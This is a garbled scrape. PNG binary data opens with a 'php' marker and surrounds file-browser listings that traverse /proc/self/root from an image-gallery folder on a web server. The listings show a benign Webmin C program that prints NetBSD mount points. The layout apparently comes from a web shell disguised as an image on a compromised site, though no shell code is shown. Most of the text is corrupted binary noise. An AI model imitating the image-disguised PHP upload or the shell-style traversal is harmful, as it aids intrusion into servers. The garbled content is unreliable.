php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /var/www/html/img_galeri/2r1asasas/root/proc/self/root/usr/libexec/webmin/mount/ |
| files >> /var/www/html/img_galeri/2r1asasas/root/proc/self/root/usr/libexec/webmin/mount/netbsd-mounts-3.c |
#include <stdio.h>
#include <errno.h>
#include <sys/param.h>
#include <sys/ucred.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/statvfs.h>
char *find_type(int t);
char *expand_flags(int f);
int main(void)
{
struct statvfs *mntlist;
int n, i;
n = getmntinfo(&mntlist, MNT_NOWAIT);
if (n < 0) {
fprintf(stderr, "getmntinfo failed : %s\n", strerror(errno));
exit(1);
}
for(i=0; i<n; i++) {
printf("%s\t%s\t%s\t%s\t%x\n",
mntlist[i].f_mntonname,
mntlist[i].f_mntfromname,
mntlist[i].f_fstypename,
expand_flags(mntlist[i].f_flag),
mntlist[i].f_flag);
}
return 0;
}
char *expand_flags(int f)
{
static char buf[1024];
buf[0] = 0;
if (f & MNT_RDONLY) strcat(buf, "ro,");
if (f & MNT_NOEXEC) strcat(buf, "noexec,");
if (f & MNT_NOSUID) strcat(buf, "nosuid,");
if (f & MNT_NOATIME) strcat(buf, "noatime,");
if (f & MNT_NODEV) strcat(buf, "nodev,");
if (f & MNT_SYNCHRONOUS) strcat(buf, "sync,");
if (f & MNT_ASYNC) strcat(buf, "async,");
if (f & MNT_QUOTA) strcat(buf, "quota,");
if (f & MNT_UNION) strcat(buf, "union,");
if (buf[0] == 0) return "-";
buf[strlen(buf)-1] = 0;
return buf;
}
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`